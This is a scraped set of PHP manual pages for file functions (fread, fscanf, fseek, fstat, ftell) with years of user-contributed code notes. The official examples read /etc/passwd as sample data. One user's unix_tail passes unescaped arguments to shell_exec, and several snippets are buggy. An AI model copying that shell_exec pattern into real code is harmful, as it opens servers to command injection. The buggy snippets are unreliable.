  header("Content-Type: application/octet-stream");
  header("Content-Length: ".(string)(filesize($path)));
  header("Content-Disposition: inline; filename=$name");
  header("Content-Transfer-Encoding: binary\n");
  if ($file = fopen($path, 'rb')) {
    while(!feof($file) and (connection_status()==0)) {
      print(fread($file, 1024*8));
      flush();
    }
    fclose($file);
  }
  return((connection_status()==0) and !connection_aborted());
}
?>

And here's an example of using the function:

<?php
if (!send_file("platinumdemo.zip")) {
die ("file transfer failed");
// either the file transfer was incomplete
// or the file was not found
} else {
// the download was a success
// log, or do whatever else
}
?>

Regards,
Rasmus Schultz
ibis at connect dot ie 01-Dec-2004 11:23
If, like me, you're in the habit of using fopen("http://...") and fread for pulling fairly large remote files, you may find that the upgrade to PHP5 (5.0.2 on Win2000/IIS5) causes fread to top out at about 8035 bytes. PHP5 RC2 with identical php.ini settings did not exhibit this behaviour (I was using this for testing). Irritating for me because I was using simple_xml_load to load the file contents as XML, and the problem initially appeared to be that function.

Solution - swap over to file_get_contents or use the loop suggested on the documentation above (see Warning).
fpinho at hotpop dot com 13-Oct-2004 11:21
After using the suggested function from Rasmus Schultz : mindplay(at)mindplay(dot)dk, I've just noticed that people trying to download big files with a slow connection would get download stopped after exactly 60seconds -> the max execution time set with php.ini.
I suggest using a bigger buffer (1024x1024), or maybe resetting the time limit within the 'while' cicle with:
   set_time_limit(0);

The cicle would go like this:

<?php
   while(!feof($file) and (connection_status()==0)) {
     print(fread($file, 1024*1024));
     set_time_limit(0);
     flush();
   }
?>

Frederico Pinho
webmaster at wildpeaks dot com 14-May-2004 09:32
The following function retrieves a line in a file, regardless of its size, so you won't get an error if the file's size is beyond php's allowed memory limit (the string has to be below however), which is something i was needing for accessing a big log file generated by a webhost. Indexes start at 1 (so $line = 1 means the first line unlike arrays). If the file is small, it would be better to use "file()" however.

<?php
function strpos_count($haystack, $needle, $i = 0) {
    while (strpos($haystack,$needle) !== false) {$haystack = substr($haystack, (strpos($haystack,$needle) + 1)); $i++;}
    return $i;
}
function getLine($file,$line=1){
    $occurence = 0;
    $contents = '';
    $startPos = -1;
    if (!file_exists($file)) return '';
    $fp = @fopen($file, "rb");
    if (!$fp) return '';
    while (!@feof($fp)) {
        $str = @fread($fp, 1024);
        $number_of_occurences = strpos_count($str,"\n");
        if ($number_of_occurences == 0) {if ($start_pos != -1) {$contents .= $str;}}
        else {
            $lastPos = 0;
            for ($i = 0; $i < $number_of_occurences; $i++){
                $pos = strpos($str,"\n", $lastPos);
                $occurence++;
                if ($occurence == $line) {
                    $startPos = $pos;
                    if ($i == $number_of_occurences - 1) {$contents = substr($str, $startPos + 1);}
                } elseif ($occurence == $line + 1) {
                    if ($i == 0) {$contents .= substr($str, 0, $pos);} else {$contents = substr($str, $startPos, $pos - $startPos);}
                    $occurence = 0;
                    break;
                }
                $lastPos = $pos + 1;
            }
        }
    }
    @fclose($fp);
    return $contents;
}
?>
squeegee 13-Apr-2004 02:25
fread also works for fsockopen's that are open-ended (no feof) if you know how the last packet for a particular set of data should end. For example, if you sent a command to an nntp server, the reply from the server would end with a dot and a carriage return/linefeed. The connection still stays open for more commands, but doing it this way is more efficient than doing line-by-line fgets until you get to the end of the reply.

<?php
if(($res=nntp_cmd($conn,"BODY $msgid",222))===false){
    continue;
}else{
    $contents='';
    while(1){
        $packet=fread($conn,8192);
        $contents.=$packet;
        if(substr($packet,-3)==".\r\n")break;
    }
    // do something with $contents
}
?>
Brian 17-May-2003 11:10
Two quick notes on download prompting...
First, the following line:

<?php
header("Cache-Control: no-cache, must-revalidate");
?>

causes IE6 to prompt you to download the script instead of the output and will fail to connect.  Take out that header and everything works perfectly.

Pragma: no-cache doesn't cause a problem.

Second, Mozilla tries to add .php to the download file name if content-type is application. Changing the content type to the more specific MIME type (such as audio/mpeg) fixes that but causes IE to try its plugins (such as Quicktime).

The fix I found for that to specify attachment instead of inline.  Here's my code: a prompted, small buffer MP3 download:

<?php
function downloadMP3 ($fileDir, $fileName) {
   $completeFilePath=$fileDir.'/'.$fileName;
   header('Pragma: no-cache');
   header("Content-type: audio/mpeg\nContent-Disposition: attachment; filename=\"" . $fileName . "\"\nContent-length: ".(string)(filesize($completeFilePath)));
   $fd=fopen($completeFilePath,'rb');
      while(!feof($fd)) {
         print(fread($fd, 4096));
         flush();
      }
}
?>
rob at lbox.org 14-Nov-2002 10:28
I spent a while trying to get this to work so I thought I'd share.

Here's how to read a remote binary file using fread.

<?php
$fp = fopen("http://www.example.com/img.jpg", "rb");

if($fp){
 while(!feof($fp)) {
     $img = $img . fread($fp, 1024);
 }
}
?>

This will read the contents of the file into the var $img 1024 bytes at a time.  I used that number because it seemed safe, but you can increment it all you want I guess.

I don't know if everyone but me gets this, but I thought I'd share since I didn't see anything like it out there.
heikki dot korpela at wapit dot com 26-Aug-2000 11:22
Fread is binary-safe IF AND ONLY IF you don't use magic-quotes. If you do, all null bytes will become \0, and you might get surprising results when unpacking.

That is, you would do something like

<?php
set_magic_quotes_runtime(0);
?>

before fread()

and something like

<?php
set_magic_quotes_runtime(get_magic_quotes_gpc()) after.
?>

And, after fread, an unpack would be needed, of course. Surprisingly, pack(), however, does not work quite like in Perl (or perhaps I'm just missing something here) - you can't pack an array directly, but instead you'll have to pack each element seperately to the string:

<?php
foreach ($data as $dec) {
  $data_output .= pack("C*", $dec);
}
?>


Parses input from a file according to a format

  • « fread
  • fseek »
  • PHP Manual
  • Filesystem Functions
  • Parses input from a file according to a format

fscanf

(PHP 4 >= 4.0.1, PHP 5)

fscanf — Parses input from a file according to a format

Description

mixed fscanf ( resource $handle , string $format [, mixed &$... ] )

The function fscanf() is similar to sscanf(), but it takes its input from a file associated with handle and interprets the input according to the specified format, which is described in the documentation for sprintf().

Any whitespace in the format string matches any whitespace in the input stream. This means that even a tab \t in the format string can match a single space character in the input stream.

Each call to fscanf() reads one line from the file.

Parameters

handle

A file system pointer resource that is typically created using fopen().

format

The specified format as described in the sprintf() documentation.

...

The optional assigned values.

Return Values

If only two parameters were passed to this function, the values parsed will be returned as an array. Otherwise, if optional parameters are passed, the function will return the number of assigned values. The optional parameters must be passed by reference.

Examples

Example #1 fscanf() Example

<?php
$handle = fopen("users.txt", "r");
while ($userinfo = fscanf($handle, "%s\t%s\t%s\n")) {
    list ($name, $profession, $countrycode) = $userinfo;
    //... do something with the values
}
fclose($handle);
?>

Example #2 Contents of users.txt

javier  argonaut        pe
hiroshi sculptor        jp
robert  slacker us
luigi   florist it

See Also

  • fread() - Binary-safe file read
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • sscanf() - Parses input from a string according to a format
  • printf() - Output a formatted string
  • sprintf() - Return a formatted string

User Contributed Notes

nico at nicoswd dot com 29-Aug-2013 06:25
If you want to parse a cron file, you may use this pattern:

<?php

while ($cron = fscanf($fp, "%s %s %s %s %s %[^\n]s"))
{

}

?>
arentzen at religion dot dk 30-Sep-2007 11:56
If you want fscanf()to scan one variable in a large number of lines,  e.g an Ipadress in a line with more variables, then use fscanf with explode()
<?
$filename = "somefile.txt";
$fp = fopen($filename, "r") or die ("Error opening file! \n");
$u = explode(" ",$line); // $u is the variable eg. an IPadress
while ($line = fscanf($fp,"%s",$u)) {
if(preg_match("/^$u/",$_SERVER['REMOTE_ADDR'])) {$badipadresss++;} // do something and continue scan
}
?>
Besides, fscanf()is much faster than fgets()
Bertrand dot Lecun at prism dot uvsq dot Fr 30-May-2007 09:48
It would be great to precise in the fscanf documentation
that one call to the function, reads a complete line.
and not just the number of values defined in the format.

If a text file contains 2 lines each containing 4 integer values,
reading the file with 8 fscanf($fd,"%d",$v) doesnt run !
You have to make 2
fscanf($fd,"%d %d %d %d",$v1,$v2,$v3,$v4);

Then 1 fscanf per line.
loco.xxx at gmail dot com 24-Jul-2006 09:46
to include all type of visible chars you should try:

<?php fscanf($file_handler,"%[ -~]"); ?>
worldwideroach at hotmail dot com 14-Jul-2005 06:33
Yet another function to read a file and return a record/string by a delimiter.  It is very much like fgets() with the delimiter being an additional parameter.  Works great across multiple lines.

function fgetd(&$rFile, $sDelim, $iBuffer=1024) {
    $sRecord = '';
    while(!feof($rFile)) {
        $iPos = strpos($sRecord, $sDelim);
        if ($iPos === false) {
            $sRecord .= fread($rFile, $iBuffer);
        } else {
            fseek($rFile, 0-strlen($sRecord)+$iPos+strlen($sDelim), SEEK_CUR);
            return substr($sRecord, 0, $iPos);
        }
    }
    return false;
}
robert at NOSPAM dot NOSPAM 25-Oct-2002 01:08
actually, instead of trying to think of every character that might be in your file, excluding the delimiter would be much easier.

for example, if your delimiter was a comma use:

%[^,]

instead of:

%[a-zA-Z0-9.| ... ]

Just make sure to use %[^,\n] on your last entry so you don't include the newline.
eugene at pro-access dot com 16-Mar-2002 09:39
If you want to read text files in csv format or the like(no matter what character the fields are separated with), you should use fgetcsv() instead. When a text for a field is blank, fscanf() may skip it and fill it with the next text, whereas fgetcsv() correctly regards it as a blank field.
james at zephyr-works dot com 08-Jul-2001 09:29
fscanf works a little retardedly I've found. Instead of using just a plain %s you probably will need to use sets instead. Because it works so screwy compared to C/C++, fscanf does not have the ability to scan ahead in a string and pattern match correctly, so a seemingly perfect function call like:

fscanf($fh, "%s::%s");

With a file like:

user::password

Will not work. When fscanf looks for a string, it will look and stop at nothing except for a whitespace so :: and everything except whitespace is considered part of that string, however you can make it a little smarter by:

fscanf($fh, "%[a-zA-Z0-9,. ]::%[a-zA-Z0-9,. ]" $var1, $var2);

Which tells it that it can only accept a through z A through Z 0 through 9 a comma a period and a whitespace as input to the string, everything else cause it to stop taking in as input and continue parsing the line. This is very useful if you want to get a sentence into the string and you're not sure of exactly how many words to add, etc.
yasuo_ohgaki at hotmail dot com 13-Mar-2001 08:59
For C/C++ programmers.

fscanf() does not work like C/C++, because PHP's fscanf() move file pointer the next line implicitly.


Seeks on a file pointer

  • « fscanf
  • fstat »
  • PHP Manual
  • Filesystem Functions
  • Seeks on a file pointer

fseek

(PHP 4, PHP 5)

fseek — Seeks on a file pointer

Description

int fseek ( resource $handle , int $offset [, int $whence = SEEK_SET ] )

Sets the file position indicator for the file referenced by handle. The new position, measured in bytes from the beginning of the file, is obtained by adding offset to the position specified by whence.

In general, it is allowed to seek past the end-of-file; if data is then written, reads in any unwritten region between the end-of-file and the sought position will yield bytes with value 0. However, certain streams may not support this behavior, especially when they have an underlying fixed size storage.

Parameters

handle

A file system pointer resource that is typically created using fopen().

offset

The offset.

To move to a position before the end-of-file, you need to pass a negative value in offset and set whence to SEEK_END.

whence

whence values are:

  • SEEK_SET - Set position equal to offset bytes.
  • SEEK_CUR - Set position to current location plus offset.
  • SEEK_END - Set position to end-of-file plus offset.

Return Values

Upon success, returns 0; otherwise, returns -1.

Examples

Example #1 fseek() example

<?php

$fp = fopen('somefile.txt', 'r');

// read some data
$data = fgets($fp, 4096);

// move back to the beginning of the file
// same as rewind($fp);
fseek($fp, 0);

?>

Notes

Note:

If you have opened the file in append (a or a+) mode, any data you write to the file will always be appended, regardless of the file position, and the result of calling fseek() will be undefined.

Note:

Not all streams support seeking. For those that do not support seeking, forward seeking from the current position is accomplished by reading and discarding data; other forms of seeking will fail.

See Also

  • ftell() - Returns the current position of the file read/write pointer
  • rewind() - Rewind the position of a file pointer

User Contributed Notes

synnus at gmail dot com 08-Aug-2014 12:54
Write Dummy File 4GB in Php 32bits (X86)
if you want write more GB File (>4GB), use Php(X64) .
this file is created in 0.0041329860687256 second

CreatFileDummy('data_test.txt',4294967296);

FUNCTION CreatFileDummy($file_name,$size) {
// 32bits 4 294 967 296 bytes MAX Size
    $f = fopen($file_name, 'wb');
    if($size >= 1000000000)  {
        $z = ($size / 1000000000);
        if (is_float($z))  {
            $z = round($z,0);
            fseek($f, ( $size - ($z * 1000000000) -1 ), SEEK_END);
            fwrite($f, "\0");
        }
        while(--$z > -1) {
            fseek($f, 999999999, SEEK_END);
            fwrite($f, "\0");
        }
    }
    else {
        fseek($f, $size - 1, SEEK_END);
        fwrite($f, "\0");
    }
    fclose($f);

Return true;
}

Synx
lexica98 at gmail dot com 16-Feb-2014 02:23
Opening the file in a+ mode doesn't work with fseek either, unfortunately. If you want a file created and then want be able to go to any position in the file, you'll have to use append mode when opening the file, then close it, then open it again in r+.
me at php dot net 09-Jul-2013 06:14
how to read BIG files using fseek (above 2GB+, upto any size like 4GB+, 100GB+, 100 terabyes+, any file size, 100 petabytes, max limit is php_float_max ) ?

// seek / set file pointer to 50 GB
my_fseek($fp, floatval(50000000000),1);

function my_fseek($fp,$pos,$first=0) {

// set to 0 pos initially, one-time
if($first) fseek($fp,0,SEEK_SET);

// get pos float value
$pos=floatval($pos);

 // within limits, use normal fseek
if($pos<=PHP_INT_MAX)
  fseek($fp,$pos,SEEK_CUR);
 // out of limits, use recursive fseek
else {
  fseek($fp,PHP_INT_MAX,SEEK_CUR);
  $pos -= PHP_INT_MAX;
  my_fseek($fp,$pos);
}

}

hope this helps.
lorenzo dot stanco at gmail dot com 18-Mar-2013 03:38
I want to give my contribution about the "read last lines from a file" topic. I've done some researches (starting from here, really) and run many tests for different algorithms and scenarios, and came up with this:

What is the best way in PHP to read last lines from a file?
http://stackoverflow.com/a/15025877/995958

In that mini-article I tried to analyze all different methods and their performance over different files.

Hope it helps.
Anonymous 21-Nov-2011 04:43
I needed to stream a txt file (here big xml file) to get nodes blockwise. I couldn't find a shorter way. So i did write this class.

Function: streams a complete file and returns the content between two search strings with their search strings (multi byte safe)

Hope it helps anyone.

PS: It lacks any boolean checks / exception handling for non existing files / read errors.

<?php
/**
 * Reads txt-files blockwise
 * Usage:
    $c_streamFileTxt = new streamFileTxt;
    $_args = array(

        'file' => 'temporary.xml',
        'start_string' => '<Product>',
        'stop_string' => '</Product>',
        'block_size' => '8192'
    );

    $c_streamFileTxt->setArgs($_args);

    while ($txt_block = $c_streamFileTxt->getNextBlock())
    {
        // use $txt_block for something
    }
 */

class streamFileTxt
{
    private $handle;
    private $file;
    private $file_offset;
    private $block;
    private $start_string;
    private $stop_string;
    private $block_size;

    /**
     * Sett class arguments
     * @param array $_args
     */
    public function setArgs($_args)
    {
        $this->file = $_args['file'];
        $this->start_string = $_args['start_string'];
        $this->stop_string = $_args['stop_string'];
        $this->block_size = $_args['block_size'];
    }

    /**
     * Get next textblock within a file
     * @param void
     * @return string $textblock
     */
    public function getNextBlock()
    {
        $this->openFile();

        fseek($this->handle, $this->file_offset);
        $start_string_found = false;
        $stop_string_found = false;
        while (!feof($this->handle))
        {
            $txt_block = fread($this->handle, $this->block_size);

            if (!$start_string_found) // while not start start snippet found
            {
                $strpos = mb_strpos($txt_block, $this->start_string);
                if ($strpos !== false)
                {
                    // cut of first left chunk
                    $txt_block = mb_substr($txt_block, $strpos, $this->block_size);
                    $start_string_found = true;
                }
            }

            if ($start_string_found && !$stop_string_found) // start snipped found, looking for stop snippet
            {
                $strpos = mb_strpos($txt_block, $this->stop_string);
                if ($strpos !== false)
                {
                    $removed_block_size = mb_strlen($txt_block) - $strpos;
                    $txt_block = mb_substr($txt_block, 0, $strpos + mb_strlen($this->stop_string));
                    $stop_string_found = true;
                    $this->setFileOffset($removed_block_size);
                }
            }

            if ($stop_string_found) // stop-snippet found, keep file offset, return
            {
                $this->closeFile();
                return $txt_block;
            }
        }

        $this->closeFile();
        return false;
    }

    /**
     * Set current file offset and consider the removed block size
     * current file position = current file offset - removed block size
     * @param int $removed_block_size
     */
    private function setFileOffset($removed_block_size)
    {
        $this->file_offset = ftell($this->handle) - $removed_block_size;
    }

    /**
     * close current file
     * @param void
     * @return void
     */
    private function openFile()
    {
        $this->handle = fopen($this->file, 'r');
    }

    /**
     * open file
     * @param void
     * @return void
     */
    private function closeFile()
    {
        fclose($this->handle);
    }
}
kavoshgar3 at gmail dot com 28-Oct-2011 06:06
sometimes we want read file from last line to beginning of file.I use the following.
<?php
function read_backward_line($filename, $lines, $revers = false)
{
    $offset = -1;
    $c = '';
    $read = '';
    $i = 0;
    $fp = @fopen($filename, "r");
    while( $lines && fseek($fp, $offset, SEEK_END) >= 0 ) {
        $c = fgetc($fp);
        if($c == "\n" || $c == "\r"){
            $lines--;
            if( $revers ){
                $read[$i] = strrev($read[$i]);
                $i++;
            }
        }
        if( $revers ) $read[$i] .= $c;
        else $read .= $c;
        $offset--;
    }
    fclose ($fp);
    if( $revers ){
        if($read[$i] == "\n" || $read[$i] == "\r")
            array_pop($read);
        else $read[$i] = strrev($read[$i]);
        return implode('',$read);
    }
    return strrev(rtrim($read,"\n\r"));
}
//if $revers=false function return->
//line 1000: i am line of 1000
//line 1001: and i am line of 1001
//line 1002: and i am last line
//but if $revers=true function return->
//line 1002: and i am last line
//line 1001: and i am line of 1001
//line 1000: i am line of 1000
?>
Enjoy! Mail me if it works!  ;-)
Anonymous 19-Mar-2011 03:56
The official docs indicate that not all streams are seekable.
You can try to seek anyway and handle failure:

<?php
if (fseek($stream, $offset, SEEK_CUR) === -1) {
  // whatever
}
?>

Or, you can use the stream_get_meta_data function:
http://php.net/stream_get_meta_data

<?php
function fseekable($stream) {
  $meta = stream_get_meta_data($stream);
  return $meta['seekable'];
}
?>
necudeco at gmail dot com 23-Jul-2010 07:31
This a tail php script example for windows system.

<?php
$n = ( isset($_REQUEST['n']) == true )? $_REQUEST['n']:20;

$offset = -$n * 120;

$rs = fopen('C:/wamp/logs/apache_error.log','r');
if ( $rs === false )
    die("No se pudo abrir el archivo de log");

fseek($rs,$offset,SEEK_END);

fgets($rs);
while(!feof($rs))
{
    $buffer = fgets($rs);
    echo $buffer;
    echo "<hr />";
}

fclose($rs);
?>
steve at studio831 dot com 23-Jul-2009 10:49
Modified @ben's function to work for files larger than PHP_INT_MAX bytes.

<?php
function longTail($file, $numLines = 100)
{
    $fp = fopen($file, "r");
    $chunk = 4096;
    $fs = sprintf("%u", filesize($file));
    $max = (intval($fs) == PHP_INT_MAX) ? PHP_INT_MAX : filesize($file);

    for ($len = 0; $len < $max; $len += $chunk) {
        $seekSize = ($max - $len > $chunk) ? $chunk : $max - $len;

        fseek($fp, ($len + $seekSize) * -1, SEEK_END);
        $data = fread($fp, $seekSize) . $data;

        if (substr_count($data, "\n") >= $numLines + 1) {
            preg_match("!(.*?\n){".($numLines)."}$!", $data, $match);
            fclose($fp);
            return $match[0];
        }
    }
    fclose($fp);
    return $data;
}
?>
Tom Pittlik 23-Apr-2009 09:32
The tail example functions below will return a PHP memory limit error when trying to open large files. Since tail is convenient for opening large logs, here is a function that lets you (provided you have permission):

<?php

function unix_tail($lines,$file)
{
    shell_exec("tail -n $lines $file > /tmp/phptail_$file");
    $output = file_get_contents("/tmp/phptail_$file");
    unlink("/tmp/phptail_$file");
    return $output;
}

?>
ben at nullcreations dot net 22-Oct-2008 11:38
easier tail() function for php:

<?php
function tail($file, $num_to_get=10)
{
  $fp = fopen($file, 'r');
  $position = filesize($file);
  fseek($fp, $position-1);
  $chunklen = 4096;
  while($position >= 0)
  {
    $position = $position - $chunklen;
    if ($position < 0) { $chunklen = abs($position); $position=0;}
    fseek($fp, $position);
    $data = fread($fp, $chunklen). $data;
    if (substr_count($data, "\n") >= $num_to_get + 1)
    {
       preg_match("!(.*?\n){".($num_to_get-1)."}$!", $data, $match);
       return $match[0];
    }
  }
  fclose($fp);
  return $data;
}
?>
Anonymous 12-Apr-2008 07:45
To:seeker at example com
Be careful, though.
You can freely position you pointer if you open a file in (r+) mode, but it will "overwrite" the data, not "append it".

Tested this:

<?php
// file.txt content:
// "You can contribute your notes to the PHP manual from the comfort of your browser!"

$handler = fopen("file.txt", "r+");
fseek($handler, 0);
fwrite($handler, "want to add this");
?>
New contents of the file.txt will be like this:
"want to add thiste your notes to the PHP manual from the comfort of your browser!".

If you really want to append at the beginning, you have to first get all the contents, save it, clear the file, put the new contents and append the saved contents at the end.
seeker at example com 28-Feb-2008 05:40
JUST TO QUOTE AND POINT THIS OUT:

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
3. if you're using fseek() to write data to a file, remember to open the file in "r+"
mode, example:

  $fp=fopen($filename,"r+");

DON'T open the file in mode "a" (for append), because it puts
 the file pointer at the end of the file and doesn't let you
fseek earlier positions in the file (it didn't for me!). Also,
don't open the file in mode "w" -- although this puts you at
the beginning of the file -- because it wipes out all data in
the file.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Took me half a day to figure :/
mhinks at gmail dot com 26-Feb-2007 08:38
Here's a function I wrote to binary search for a line of text within a file, particularly useful when the file is too large to read into memory at once and you want a faster search than linear.

function binary_search_in_file($filename, $search) {

    //Open the file
    $fp = fopen($filename, 'r');

    //Seek to the end
    fseek($fp, 0, SEEK_END);

    //Get the max value
    $high = ftell($fp);

    //Set the low value
    $low = 0;

    while ($low <= $high) {
        $mid = floor(($low + $high) / 2);  // C floors for you

        //Seek to half way through
        fseek($fp, $mid);

        if($mid != 0){
            //Read a line to move to eol
            $line = fgets($fp);
        }

        //Read a line to get data
        $line = fgets($fp);

        if ($line == $search) {
            fclose($fp);
            return $line;
        }
        else {
            if ($search < $line) {
                $high = $mid - 1;
            }
            else {
                $low = $mid + 1;
            }
        }
    }

    //Close the pointer
    fclose($fp);

    return FALSE;

}
marc dot roe at gmail dot com 19-Aug-2006 06:38
I tried to improve and modify (mail at ulf-kosack dot de)'s function. Actually it is very fast, i.e. requires much less time than to get the last five, ten or whatever lines of a file using file() ore file_get_contents().

function read_file($file, $lines)
{
       $handle = fopen($file, "r");
       $linecounter = $lines;
       $pos = -2;
       $beginning = false;
       $text = array();
       while ($linecounter > 0) {
         $t = " ";
         while ($t != "\n") {
           if(fseek($handle, $pos, SEEK_END) == -1) {
$beginning = true; break; }
           $t = fgetc($handle);
           $pos --;
         }
         $linecounter --;
         if($beginning) rewind($handle);
         $text[$lines-$linecounter-1] = fgets($handle);
         if($beginning break;
       }
       fclose ($handle);
       return array_reverse($text); // array_reverse is optional: you can also just return the $text array which consists of the file's lines.
}

The good thing now is, that you don't get an error when your requesting more lines than the file contains. In this case the function will just return the whole file content.
lucky at somnius dot com dot ar 19-Aug-2006 02:35
Jim's (jim at lfchosting dot com) code for the last-line issue is perfect if the file is not empty, or moreover if it has more than one line. However if the file you're using cotains no new-line character at all (i.e. it is empty or it's got one line and only one) the while loop will stuck indefinitely.

I know this script is meant for big files which would always contain at least several lines, but it would be clever to make the script error-proof.

Thus, here's a little modification to his code.

<?php
function readLastLine ($file) {
    $fp = @fopen($file, "r");

    $pos = -1;
    $t = " ";
    while ($t != "\n") {
        if (!fseek($fp, $pos, SEEK_END)) { // *** - fseek returns 0 if successfull, and -1 if it has no succes as in seeking a byte outside the file's range
            $t = fgetc($fp);
            $pos = $pos - 1;
        } else { // ***
            rewind($fp); // ***
            break; // ***
        } // ***
    }
    $t = fgets($fp);
    fclose($fp);
    return $t;
}
?>

Lines added and/or modified have been marked with "// ***". I hope this helps!

Regards!
mail at ulf-kosack dot de 27-May-2006 07:44
Here a little extension for the code of ekow.
If you want to read more than one line and more than one file. Some times the last five ore ten lines are interesting in.

You only have to submit a array with filenames and optionally a number of lines you want to read.

<?php
  function read_logfiles($files, $lines=5)
  {
    foreach($files as $file_num => $file) {
      if (file_exists ($file) ) {
        $handle = fopen($file, "r");
        $linecounter = $lines;
        $pos = -2;
        $t = " ";
        $text[$file_num] = "";
        while ($linecounter > 0) {
          while ($t != "\n") {
            fseek($handle, $pos, SEEK_END);
            $t = fgetc($handle);
            $pos --;
          }
          $t = " ";
          $text[$file_num] .= fgets($handle);
          $linecounter --;
        }
        fclose ($handle);
      } else {
        $text[$file_num] = "The file doesn't exist.";
      }
    }

    return $text;
?>
ekow[at]te.ugm.ac.id 11-Dec-2005 02:22
A little correction for code to read last line from chenganeyou at eyou dot com.
$linenumber = sizeof($file)-1;
should be
$linenumber = sizeof($contents)-1;
because sizeof will count array element, not file size.
<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($contents)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
chenganeyou at eyou dot com 27-Jun-2005 10:35
I use the following codes to read the last line of a file.
Compared to jim at lfchosting dot com, it should be more efficient.

<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($file)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
phil at NOSPAM dot blisswebhosting dot com 26-May-2005 05:43
In order to read a text file from end->beginning e.g display the most recent contents of a log file first.  I use the following.

It basically just uses fseek to find the end of the file, ftell to find the byte count for a counter, then iterates backwards through the file using fgetc to test for the newline charater.

$i=0 ;
$lines=500 ;
$fp = fopen($log,"r") ;
if(is_resource($fp)){
    fseek($fp,0,SEEK_END) ;
    $a = ftell($fp) ;
    while($i <= $lines){
        if(fgetc($fp) == "\n"){
            echo (fgets($fp));
            $i++ ;
        }
    fseek($fp,$a) ;
    $a-- ;
    }
}
alan at peaceconstitution.com 18-May-2005 03:03
Thanks to Dan, whose above comment provided a key to solve the issue of how to append to a file.
     After, using phpinfo(); I made sure my installation of PHP had the requisite settings mentioned in the text to the manual entry for fopen(), I was puzzled as to why my use of fopen() with the append option 'a' (append option) didn't work. Then I  read a comment contributed to Appendix L (http://us2.php.net/manual/en/wrappers.php) that the append option 'a' for fopen() doesn't work as expected. The writer suggested using the 'w' option instead, which I found did work. But the 'w' option (write option) overwrites everything in the file.
     The question remained how to accomplish appending. Following Dan's suggestion about the 'r+' option, I tried this, which works fine:
       $string = "Message to write to log";
       $filehandle = fopen ("/home/name/sqllogs/phpsqlerr.txt", 'r+');
    fseek ( $filehandle,0, SEEK_END);
    fwrite ( $filehandle, $string."\n" );
    fclose ($filehandle);
Lutz ( l_broedel at gmx dot net ) 14-Feb-2005 11:25
Based on the function below, provided by info at o08 dot com (thanks), the following should enable you to read a single line from a file, identified by the line number (starting with 1):

<?
    function readLine ($linenum,$fh) {
        $line = fgets ($fh, 4096);
        $pos = -1;
        $i = 0;

        while (!feof($fh) && $i<($linenum-1)) {
            $char = fgetc($fh);
            if ($char != "\n" && $char != "\r") {
                fseek($fh, $pos, SEEK_SET);
                $pos ++;
            }
            else $i ++;
        }
        $line = fgets($fh);
        return $line;
    } //readLine()
?>
jim at lfchosting dot com 05-Nov-2003 03:03
Here is a function that returns the last line of a file.  This should be quicker than reading the whole file till you get to the last line.  If you want to speed it up a bit, you can set the $pos = some number that is just greater than the line length.  The files I was dealing with were various lengths, so this worked for me.

<?php
function readlastline($file)
{
        $fp = @fopen($file, "r");
        $pos = -1;
        $t = " ";
        while ($t != "\n") {
              fseek($fp, $pos, SEEK_END);
              $t = fgetc($fp);
              $pos = $pos - 1;
        }
        $t = fgets($fp);
        fclose($fp);
        return $t;
}
?>
16-Sep-2002 10:25
Don't use filesize() on files that may be accessed and updated by parallel processes or threads (as the filesize() return value is maintained in a cache).
Instead lock the opened file and use fseek($fp,0,SEEK_END) and ftell($fp) to get the actual filesize if you need to perform a fread() call to read the whole file...


Gets information about a file using an open file pointer

  • « fseek
  • ftell »
  • PHP Manual
  • Filesystem Functions
  • Gets information about a file using an open file pointer

fstat

(PHP 4, PHP 5)

fstat — Gets information about a file using an open file pointer

Description

array fstat ( resource $handle )

Gathers the statistics of the file opened by the file pointer handle. This function is similar to the stat() function except that it operates on an open file pointer instead of a filename.

Parameters

handle

A file system pointer resource that is typically created using fopen().

Return Values

Returns an array with the statistics of the file; the format of the array is described in detail on the stat() manual page.

Examples

Example #1 fstat() example

<?php

// open a file
$fp = fopen("/etc/passwd", "r");

// gather statistics
$fstat = fstat($fp);

// close the file
fclose($fp);

// print only the associative part
print_r(array_slice($fstat, 13));

?>

The above example will output something similar to:

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

Notes

Note: This function will not work on remote files as the file to be examined must be accessible via the server's filesystem.

User Contributed Notes

broom at alturnanetworks dot com 03-Oct-2008 12:21
Another ftp_get_contents() approach, using a temperary stream handler. Returns file contents of remote file as string.

<?php
function ftp_get_contents ($conn_id, $remote_filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $remote_filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>

(It is recommended to add some error handling)


Returns the current position of the file read/write pointer

  • « fstat
  • ftruncate »
  • PHP Manual
  • Filesystem Functions
  • Returns the current position of the file read/write pointer

ftell

(PHP 4, PHP 5)

ftell — Returns the current position of the file read/write pointer

Description

int ftell ( resource $handle )

Returns the position of the file pointer referenced by handle.

Parameters

handle

The file pointer must be valid, and must point to a file successfully opened by fopen() or popen(). ftell() gives undefined results for append-only streams (opened with "a" flag).

Return Values

Returns the position of the file pointer referenced by handle as an integer; i.e., its offset into the file stream.

If an error occurs, returns FALSE.

Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB.

Examples

Example #1 ftell() example

<?php

// opens a file and read some data
$fp = fopen("/etc/passwd", "r");
$data = fgets($fp, 12);

// where are we ?
echo ftell($fp); // 11

fclose($fp);

?>

See Also

  • fopen() - Opens file or URL
  • popen() - Opens process file pointer
  • fseek() - Seeks on a file pointer
  • rewind() - Rewind the position of a file pointer

User Contributed Notes

burninleo at gmx dot net 07-Sep-2009 10:38
